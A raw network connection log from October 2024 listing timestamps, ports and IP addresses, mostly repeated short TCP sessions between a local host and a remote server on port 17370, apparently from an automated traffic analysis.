Oct 8, 2024 02:40:17.290919065 CEST	64196	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:17.295717955 CEST	17370	64196	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.001522064 CEST	17370	64196	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.001606941 CEST	64196	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.001842022 CEST	64196	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.006591082 CEST	17370	64196	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.114465952 CEST	64202	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.119348049 CEST	17370	64202	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.123183012 CEST	64202	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.139081001 CEST	64202	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.143978119 CEST	17370	64202	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.145479918 CEST	64202	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.150441885 CEST	17370	64202	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.851319075 CEST	17370	64202	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.855149984 CEST	64202	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.855288029 CEST	64202	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.860980034 CEST	17370	64202	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.973839045 CEST	64208	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.978811979 CEST	17370	64208	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.979168892 CEST	64208	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.994088888 CEST	64208	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:18.998976946 CEST	17370	64208	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:18.999166012 CEST	64208	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:19.004524946 CEST	17370	64208	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:19.872868061 CEST	17370	64208	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:19.875294924 CEST	64208	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:19.876601934 CEST	64208	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:19.881457090 CEST	17370	64208	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.008569956 CEST	64213	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.013468981 CEST	17370	64213	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.015166044 CEST	64213	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.078191042 CEST	64213	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.083975077 CEST	17370	64213	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.084043026 CEST	64213	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.088798046 CEST	17370	64213	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.745047092 CEST	17370	64213	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.745104074 CEST	64213	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.745215893 CEST	64213	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.750237942 CEST	17370	64213	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.848588943 CEST	64220	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.853498936 CEST	17370	64220	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.853595018 CEST	64220	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.875602961 CEST	64220	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.880469084 CEST	17370	64220	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:20.880532026 CEST	64220	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:20.885371923 CEST	17370	64220	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:21.584043980 CEST	17370	64220	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:21.584117889 CEST	64220	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:21.584242105 CEST	64220	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:21.588941097 CEST	17370	64220	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:21.692573071 CEST	64226	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:21.698260069 CEST	17370	64226	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:21.699338913 CEST	64226	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:21.709918022 CEST	64226	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:21.714801073 CEST	17370	64226	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:21.715332985 CEST	64226	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:21.720161915 CEST	17370	64226	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:21.850831032 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:21.855890989 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:21.953269005 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:22.114124060 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:22.473674059 CEST	17370	64226	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:22.473740101 CEST	64226	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:22.473994017 CEST	64226	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:22.478832960 CEST	17370	64226	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:22.583091021 CEST	64234	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:22.588165998 CEST	17370	64234	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:22.588243008 CEST	64234	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:22.600394964 CEST	64234	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:22.605326891 CEST	17370	64234	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:22.605566978 CEST	64234	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:22.610492945 CEST	17370	64234	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:23.306848049 CEST	17370	64234	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:23.306930065 CEST	64234	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:23.307051897 CEST	64234	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:23.311805010 CEST	17370	64234	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:23.411214113 CEST	64240	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:23.416593075 CEST	17370	64240	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:23.416692972 CEST	64240	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:23.427236080 CEST	64240	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:23.432095051 CEST	17370	64240	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:23.432410955 CEST	64240	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:23.437273979 CEST	17370	64240	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.142425060 CEST	17370	64240	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.145756960 CEST	64240	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.145756960 CEST	64240	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.150841951 CEST	17370	64240	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.255244970 CEST	64246	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.260217905 CEST	17370	64246	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.261687994 CEST	64246	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.276843071 CEST	64246	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.281668901 CEST	17370	64246	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.282201052 CEST	64246	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.287098885 CEST	17370	64246	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.996644974 CEST	17370	64246	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:24.996710062 CEST	64246	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:24.996830940 CEST	64246	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.001588106 CEST	17370	64246	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.114330053 CEST	64252	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.119298935 CEST	17370	64252	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.119362116 CEST	64252	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.161007881 CEST	64252	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.166296959 CEST	17370	64252	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.166349888 CEST	64252	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.171717882 CEST	17370	64252	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.843873978 CEST	17370	64252	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.844095945 CEST	64252	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.844194889 CEST	64252	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.849076033 CEST	17370	64252	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.958074093 CEST	64258	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:25.962912083 CEST	17370	64258	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:25.963001013 CEST	64258	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:26.088570118 CEST	64258	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:26.093550920 CEST	17370	64258	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:26.097511053 CEST	64258	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:26.102256060 CEST	17370	64258	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:26.697149038 CEST	17370	64258	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:26.699244976 CEST	64258	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:26.700431108 CEST	64258	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:26.705163956 CEST	17370	64258	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:26.837915897 CEST	64260	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:26.842734098 CEST	17370	64260	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:26.845575094 CEST	64260	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.082020998 CEST	64260	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.087055922 CEST	17370	64260	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:27.087104082 CEST	64260	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.091906071 CEST	17370	64260	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:27.324352026 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:27.411037922 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:27.609885931 CEST	17370	64260	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:27.610069990 CEST	64260	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.610096931 CEST	64260	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.615083933 CEST	17370	64260	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:27.723648071 CEST	64266	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.728631020 CEST	17370	64266	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:27.728741884 CEST	64266	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.754215002 CEST	64266	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.759752035 CEST	17370	64266	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:27.759955883 CEST	64266	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:27.764918089 CEST	17370	64266	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:28.443296909 CEST	17370	64266	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:28.443756104 CEST	64266	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:28.443757057 CEST	64266	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:28.448796988 CEST	17370	64266	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:28.551860094 CEST	64272	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:28.556737900 CEST	17370	64272	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:28.556822062 CEST	64272	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:28.601500988 CEST	64272	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:28.606422901 CEST	17370	64272	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:28.607305050 CEST	64272	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:28.612157106 CEST	17370	64272	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:29.271553993 CEST	17370	64272	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:29.273245096 CEST	64272	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:29.354590893 CEST	64272	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:29.359417915 CEST	17370	64272	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:29.847353935 CEST	64278	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:29.973262072 CEST	17370	64278	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:29.973489046 CEST	64278	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:30.010313988 CEST	64278	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:30.015360117 CEST	17370	64278	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:30.015590906 CEST	64278	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:30.020452976 CEST	17370	64278	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:30.295684099 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:30.300666094 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:30.400036097 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:30.614204884 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:30.690020084 CEST	17370	64278	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:30.690223932 CEST	64278	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:30.690310955 CEST	64278	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:30.695398092 CEST	17370	64278	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:30.801877975 CEST	64284	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:30.809336901 CEST	17370	64284	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:30.809546947 CEST	64284	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:31.581419945 CEST	64284	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:31.586302996 CEST	17370	64284	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:31.586908102 CEST	64284	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:31.591790915 CEST	17370	64284	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.002989054 CEST	17370	64284	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.003339052 CEST	64284	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.003340006 CEST	64284	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.008661985 CEST	17370	64284	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.114376068 CEST	64295	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.119600058 CEST	17370	64295	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.119803905 CEST	64295	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.148679972 CEST	64295	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.153589010 CEST	17370	64295	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.153789043 CEST	64295	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.158710957 CEST	17370	64295	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.843358994 CEST	17370	64295	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.843426943 CEST	64295	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.843539953 CEST	64295	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.848304987 CEST	17370	64295	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.958161116 CEST	64301	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.963265896 CEST	17370	64301	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.963402033 CEST	64301	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.991509914 CEST	64301	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:32.996392965 CEST	17370	64301	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:32.996469021 CEST	64301	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.001410961 CEST	17370	64301	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:33.692107916 CEST	17370	64301	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:33.692198038 CEST	64301	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.692327023 CEST	64301	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.697042942 CEST	17370	64301	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:33.801834106 CEST	64307	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.806857109 CEST	17370	64307	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:33.806925058 CEST	64307	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.841976881 CEST	64307	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.846832991 CEST	17370	64307	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:33.847259045 CEST	64307	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:33.852149010 CEST	17370	64307	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:34.525304079 CEST	17370	64307	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:34.525363922 CEST	64307	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:34.525465012 CEST	64307	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:34.530509949 CEST	17370	64307	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:34.629908085 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:34.634943962 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:34.635014057 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:35.299182892 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:35.304261923 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:35.304327011 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:35.309191942 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:35.914760113 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:35.914834023 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:35.914938927 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.020543098 CEST	64321	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.157666922 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.157735109 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.157833099 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.157871962 CEST	64313	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.158230066 CEST	17370	64313	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.158680916 CEST	17370	64321	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.158756971 CEST	64321	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.212445021 CEST	64321	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.217437029 CEST	17370	64321	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.217480898 CEST	64321	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.222456932 CEST	17370	64321	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.899535894 CEST	17370	64321	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:36.899616957 CEST	64321	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.899719000 CEST	64321	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:36.904711008 CEST	17370	64321	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.005043983 CEST	64326	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.010149002 CEST	17370	64326	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.010238886 CEST	64326	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.037477016 CEST	64326	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.042448044 CEST	17370	64326	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.042526007 CEST	64326	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.047537088 CEST	17370	64326	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.302083969 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:37.307410002 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:37.416994095 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:37.606992006 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:37.747073889 CEST	17370	64326	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.747149944 CEST	64326	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.747248888 CEST	64326	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.752139091 CEST	17370	64326	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.864442110 CEST	64333	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.869376898 CEST	17370	64333	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.869745970 CEST	64333	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.904378891 CEST	64333	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.909373999 CEST	17370	64333	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:37.909456015 CEST	64333	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:37.914330006 CEST	17370	64333	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:38.678458929 CEST	17370	64333	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:38.678786993 CEST	64333	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:38.678786993 CEST	64333	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:38.683763027 CEST	17370	64333	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:38.786401987 CEST	64338	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:38.791449070 CEST	17370	64338	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:38.795310974 CEST	64338	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:38.824856997 CEST	64338	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:38.829894066 CEST	17370	64338	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:38.831398964 CEST	64338	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:38.836502075 CEST	17370	64338	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:39.022053957 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:39.114110947 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:39.529340982 CEST	17370	64338	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:39.529525995 CEST	64338	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:39.529525995 CEST	64338	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:39.534408092 CEST	17370	64338	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:39.645739079 CEST	64344	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:39.651403904 CEST	17370	64344	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:39.651637077 CEST	64344	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:39.690881014 CEST	64344	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:39.695713997 CEST	17370	64344	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:39.695796967 CEST	64344	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:39.700673103 CEST	17370	64344	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:40.373775005 CEST	17370	64344	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:40.373959064 CEST	64344	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:40.374047995 CEST	64344	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:40.379348993 CEST	17370	64344	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:40.489325047 CEST	64350	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:40.494388103 CEST	17370	64350	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:40.494457006 CEST	64350	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:40.531891108 CEST	64350	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:40.537179947 CEST	17370	64350	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:40.537235975 CEST	64350	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:40.542133093 CEST	17370	64350	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:41.207834005 CEST	17370	64350	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:41.207890987 CEST	64350	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:41.207992077 CEST	64350	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:41.212763071 CEST	17370	64350	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:41.317459106 CEST	64356	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:41.322397947 CEST	17370	64356	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:41.322488070 CEST	64356	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:41.348107100 CEST	64356	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:41.353070021 CEST	17370	64356	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:41.353152990 CEST	64356	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:41.358124018 CEST	17370	64356	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.040812969 CEST	17370	64356	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.040997982 CEST	64356	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.040997982 CEST	64356	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.045888901 CEST	17370	64356	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.145678043 CEST	64363	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.150532007 CEST	17370	64363	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.150652885 CEST	64363	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.189481020 CEST	64363	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.194542885 CEST	17370	64363	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.194613934 CEST	64363	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.199496031 CEST	17370	64363	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.880497932 CEST	17370	64363	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.880587101 CEST	64363	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.880703926 CEST	64363	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.885981083 CEST	17370	64363	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.989464998 CEST	64369	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:42.994611979 CEST	17370	64369	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:42.994807005 CEST	64369	17370	192.168.2.4	213.152.162.15
